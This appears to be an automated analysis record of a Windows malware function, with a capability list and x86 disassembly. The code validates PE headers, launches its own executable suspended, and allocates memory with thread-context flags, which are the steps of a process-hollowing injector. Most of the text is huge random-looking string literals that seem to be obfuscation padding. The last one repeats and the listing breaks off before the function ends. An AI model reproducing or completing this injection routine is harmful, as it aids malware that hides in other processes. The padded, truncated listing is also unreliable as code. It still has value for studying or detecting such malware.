Function at 0x4011b0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Execute shellcode via indirect call
Parse pe header
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8b4
mov eax, dword [0x428024]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x814], str.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
push 0x400
lea eax, [ebp - 0x808]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x81c], ecx
mov dword [ebp - 0x818], str.o94x47vj8eZvlzodADjxPPu4Js6TSXPTPKeRcTuds5l1bFzN5AzmDKfJPaYMaLAkzgQKvGaQigfUDD3d2tYsxCpfEFbc5SdQEbB4uXBTDRK56YWvBk3OH5mxQOMBiFlbOqzp7Eo4BPZSkyaf8upt4yToLhgPlaK8FIqPyGy659m1gDnrOGCYq1gpHkOZyJSBf0nLivRCrkUvMYI2UnmEm44zXTOmqwJZ1lsDZLdgrjnKwMzD1XYWj8qMSBDGBmU5L5EBGfcjjgndQucktkuCIXP35QUxhHOezs9Bi87WUPMdHxbZRzf8ANd9liS32zSLtR6bTY7Z2a796PgFWq8nWd34IzXc1tGYNqiZAaf3CqfAPecFbmhMAEYqYcDub57JDjvQHreVkfVG8DpDqHyA8qGVpwLz7tcjX0hNKvb76dnbmMo1EcKHI2BGqC3jRl0JDa1HSaM4FBD5dEJNiU45SFL4zKwhC2pVmOIlVQiDzQbgyFCW3pb6Tb8hdIbDBvv4K3epOgwJD6DxMStrYyHkD2lTGKc0O57cDNmxdE3hCvAWHKFupTOdXkBRSuSeeG5I8B48G5nuEARhCym6eSK4q4otkIf7AjvyJtZdttx8luOq9GalaMBsWPmLUG4OzvdgTpBoF8ENkn4xhL1NI47YRcM4gosWzTJ0rIHUfWPbiYhIUZDiPrgEyoyQNHhrKJrZCjPOmy8Vjmb9KuIoVbFMMgP0V1dDl8nIS85PL4ij6r60rS7j8mBJdOnwDY3vuEKl9CqMz3N02wQujZIc44F8GOEdUJmWbWYBznsgrNuj0pBPWeriLGAy9Tez5sKb4gtX76T228QJdqiBUougXBuEeDZPi2l8dtpT6NRZuzpNZ0uTLNOQ8EnDWYTDhdT9XSGUbyEhbkvvW5VEFeai3ZscSCOkrr6ScWSKsFg8VULUQuClNfcN5kCh5c8lIM5ToNsamll98cxinHvx9CHmpsX2uLPqH4zjZ2FdcC9C3cP2i2WpfszzYjYstpISGNRaTEZTC6BAkM3U6bMaoB5c12O6WLAPvJv4aJwNdcWj18olqdvsMIDfRPj00370FVfKr8UxO97mPWk2OCPTvEU5J7ukY6bZ3d44SRZNciGHvxGhNWzLBGcmjU5iDTMDJbziG85pLYxn7nJlBmGcGAxxaRU8WRjtGd7u8yLO0kaNjZp6lUQqmK7jEYL0SZEnlwAc18kthoHlzDhI56Z2apCFZsQAjr5OS6rasVSTVbDDkYgbQd4W9Ln634mJsTk0s2DClhpjogg9V8ublOTgwjPgSvgywB0rPNQVRHRekQdW5RiRj0qT3SsAmE5TaIghcI75vxz9I9LorAORCksFkhy6vqJnL7dMJ6TxUnvWBqk4heiWZnqZpL65jbJfXmyKueGsf8r7HFRqQetMt58HURfBpedIQqkQFBJPAUVtRD3v9MzSCRRZfsMM8eca4SqqubVoFNmIkO0rXUCNPug9JvLnZ6QvRUy8mNa8NqIem9m5TBvMjD5hpWFw0Vk4IZRS1lE0gCxbPaXUZ8sKxzGQEAnqGww2gOFwsDeI6FFQf3Bp8VH1CKGjsaoA7otTfE5aEBBv3UO2VpCqf8LPnUGpRXeYbi5L9wCR19kEI3xGrxMOemp4AWUIeIV7Ry2jhgByWVyfYhhtx97ulAUZ3akmM3MsonXjbnyl5n1tXjgtPAlepd7j2dAjZcKVzJjUujXQBJ6aohJ6r6gKgzMSUTHeckDQEUtj2l6c4s1Qg75UED1369Pa6B9LMSOrfqFEYzeg9dQXI6LXYWKIsKUFGwtwnza732ELTITuwTDyX5CKVZeTMCpSdDBgIcwTbL2bYLi0hGLJcA6L4SKyvquANWHqgNVuwTxlcBWkQoLg0QQNH0m0B8yUqCybWRgSb54XWBOBpwIrkB1e5ulA2KZqNL5AZzOPgYsxr3RthGgxqmtYebiBFP0BgNklGoLZR2kwjEXcN2svDBaArhvYrmjB81qNTFW2
mov edx, dword [ebp - 0x81c]
movzx eax, word [edx]
cmp eax, 0x5a4d
jne 0x401584
mov dword [ebp - 0x87c], str.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
push str._t1_if
call fcn.00401000
add esp, 4
mov ecx, dword [ebp - 0x81c]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x80c], edx
mov eax, dword [ebp - 0x80c]
cmp dword [eax], 0x4550
jne 0x401584
mov dword [ebp - 0x880], str.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
push str._t2_if
call fcn.00401000
add esp, 4
push 0x44
push 0
lea ecx, [ebp - 0x868]
push ecx
call fcn.00401c70
add esp, 0xc
push 0x10
push 0
push 0x428ee0
call fcn.00401c70
add esp, 0xc
mov dword [ebp - 0x884], str.UrXVwWNpbPcTGzAXRBszlbQOmSS1OFLZ4r7en0UEtwJBlX5OaTnOaoBTKiINdWKGdmYpBwJ0RXfZBpDzWd05r6ZP0nDfrgBGVcx8IZxCZR9RXX5gKqebQB5HNExP6xGdsKWZUmWotHp26bbqjFo8V36783xeBSFCk6ymbfvyE0SilcLMChFBjHsyOY01ZRXKcXSaMZodn9NWpgkI74STojMuSfRlAN4StZZQMNX2JE5lN8B9sZNwv9nKi4Z1DMNJf4DAqD5uh0kTnAQUOS3KaIwtLpHSY5y71wgTFaSZ3spFZW9sfAUx2Vh4OXIJwLyqyFv5CK9yvcZskBCAuPITrU7MwqqfjOVQsWytAdZEAvcZ5YTmvipRdP8NISImt3oQriayci9qZds6SiQI2a8qVLS6lVwR1iuHjTu9bILN0gNafSFT0HNFSocSG6XPZknKXPg7M3DuyvAO7S0CqM1tEZY4RMCeU5YP2dmALHh6etgxYxVXfuymAHJMjj5nJYDYGoDvku5qRjdo81OTYVxRf0MhC4V200pFf2mcHbACUWyrDuNsFmzYAWTPLw3pJdA13IjgOMlXu56tCvNhrCwNBBesRnbPGpKtft5lRiqWzXBbh4vuLdf5sBqjaRG0O2UIZBYNVSJFZA6rqLwX2QeDkPaNcVl9LzhHc2mPgRJ2DKf2F93yuT78XrxkBkL9dhOGOEsnPICTE7D2XrynzOvr5P7n3iedsIAZaHLSa0Xc1OTUK2gXeAwyWxK9HetHDyB6GN1pQPnJ0szr5mNbcr91lbcN7Ll5HqIC4HmQWV78EHcjjf6FnYYQHAz8qpeVLYaFkEaxng1vklatabfxBKnAxudEhnAHQmwPGH9PfJsg6DGvzg8ojRubLKiZBFp9QuP7ZuWClhFn2kwMlOceut4wATCoV3b2hGrza4L3ZSouHhRtJY4nLjgI6qJjtnSsfMfv26LqdjoLfKZtcjO78Xr8zTDUuCKLa5o5bwANmNkB8DBny9yqsQ2oKUwPER10ZlRzElS4f28HuqKImdmMzfjmWVF0p6FXJUwWVcSnrEkzSu4ujYCAEpAUcFNTP1Ojwl7J3YWkv9u54TEBcutY7RtJMG30ZiTHvE7R8lvfZcxGfemW9waAxPeUD4pvYYCbJueOAEn09o84uXEHth1DisjQAnod69qbJv6UaIvEijBjQjzQARcR77L60dc9SQ2dhxOWHi5S88h1f8CYilSEt6I89rS6LcAqAan3gXQxbFu8ZU01Ln0H8xTlZPXqz8h6I1AeVJRvEuCYMJipA0vxl3rc9GKhTmubnu1PvsBTQZaSVsgJO0su6yyO1iRpkh5tU3yd67iFjzGVyanRAaC24afZ5mYmLmJI3R723dMQRWlG1Nq159ZjPczUXIhTVkcVciIscNlIndi6QH94D5JG32WJQ3iNrLOrI9MI8KXC7ENTkRsd1MS0KF2kw9LiFIrMy1yQ4A63hhIzocy9LfVP2YQchCm88P7zFYaaR3h3HSVDhc4qV0QCJOY6mN2wzql0Zgos6lAPkULsEn286vqdcWI0aeXdbVEqH5NaYMuKzbrZcFB8U3zd9hYdIxr2xwNzpvVJQKzkZQidfwN1RbUf2ttjcckgg7UfWpVta1mafzAmBBau5qIJxkEsBSCNzte26crZKu0ZYUaC2hSLc0kZylSMUD1syILVvIpyjkTLrJoC5H28nuEdvqUU8mBvu6tpv7BRkfZft9s7ogz76e5Jg29WB3U2msEup8g8fkXhFzUv8XF1WEzqbTjD8Pqqv72bE7RqaB1VqXdQ6LMvnjU6MOnEUjjVOgK9ep7NEuD0wI1GDegziwdVQO22Awk3dLly6OEQO812Q3JeXRaPcUNsdYszxfmijKWVwDKYKAUjFkfWfYeTEU9CPdq3gk1g5P8Kt9ewAtATQJ0y1ZRrU0c4xlEggN0RQfuGg0dlytPltpWfn1brDKveMdniE8pXCTdKptsaWF3Ak0Lhzy3pLJnf
push 0x428ee0
lea edx, [ebp - 0x868]
push edx
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401584
mov dword [ebp - 0x88c], str.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
push str._t3_if
call fcn.00401000
add esp, 4
mov dword [ebp - 0x874], 0
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x874], eax
mov ecx, dword [ebp - 0x874]
mov dword [ecx], 0x10007
mov dword [ebp - 0x888], str.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